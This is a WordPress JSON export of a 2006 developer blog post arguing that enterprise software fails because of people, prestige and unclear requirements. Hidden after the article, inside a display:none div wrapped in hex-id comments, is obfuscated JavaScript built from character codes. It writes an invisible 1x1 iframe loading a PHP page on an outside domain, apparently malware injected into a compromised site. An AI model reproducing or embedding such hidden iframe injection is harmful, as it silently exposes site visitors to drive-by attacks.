{"id":100,"date":"2006-06-29T20:29:43","date_gmt":"2006-06-29T19:29:43","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/06\/29\/complexity-of-the-enterprise\/"},"modified":"2010-06-25T20:54:33","modified_gmt":"2010-06-25T19:54:33","slug":"complexity-of-the-enterprise","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/06\/29\/complexity-of-the-enterprise\/","title":{"rendered":"Complexity"},"content":{"rendered":"<p>Enterprise software tends to suck. Bigtime. It even has it&#8217;s own word: <a href=\"http:\/\/en.wikipedia.org\/wiki\/Enterprisey\">enterprisey<\/a>. And believe me: it&#8217;s not a good thing.<\/p>\n<p>Enterprise software tends to become complicated. Fast. Why? I&#8217;m a developer myself and at this level the most common reasons why things go wrong (in no particular ordre) are below:<\/p>\n<ul>\n<li>Poor developers<\/li>\n<li>Good but lazy developers with deadlines<\/li>\n<li>Good but numb developers<\/li>\n<li>Good but ignorant developers<\/li>\n<\/ul>\n<p>I would place myself along the &#8220;Good but numb&#8221; crowd of developers.<\/p>\n<p>There are also some things that may have went wrong even before it got to the developers:<\/p>\n<ul>\n<li>Unclear requirements but clear deadlines<\/li>\n<li>Conflicting expectations<\/li>\n<li>Miscommunication about priorities<\/li>\n<\/ul>\n<p>All from real life experience. <\/p>\n<p>And all those things are not even <em>that bad<\/em>. There&#8217;s one other factor that is often not explictly mentioned in the textbooks but one that is of utmost importance and that is: <strong>enterprise software is all about people<\/strong>. And not only the people that <em>have<\/em> to use it in the end; the often so lovingly called <em>end users<\/em>. No, it&#8217;s maybe even more about management, project leaders, consultants, experts, developers, team leaders and just about every which person involved in the project. <\/p>\n<p>It&#8217;s all about prestige and even at the point where the application is not considered to be useful anymore  by its own developers because of all the conflicting requirements, there&#8217;s still a lot of prestige to be gained for the rest of the people involved by just delivering the seven figure baby and forgetting all about it.<\/p>\n<p>I was to include it here but I am too far gone right now so I will blog about the wrong tools for the wrong job another time even though it is also a major factor to the failure of enterprise software.<!--more--><!--deb48fafa19c98e27b9a64a78660a48422010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/deb48fafa19c98e27b9a64a78660a48422010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Enterprise software tends to suck. Bigtime. It even has it&#8217;s own word: enterprisey. And believe me: it&#8217;s not a good thing. Enterprise software tends to become complicated. Fast. Why? I&#8217;m a developer myself and at this level the most common reasons why things go wrong (in no particular ordre) are below: Poor developers Good but &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/06\/29\/complexity-of-the-enterprise\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Complexity&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-100","post","type-post","status-publish","format-standard","hentry","category-development","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=100"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/100\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}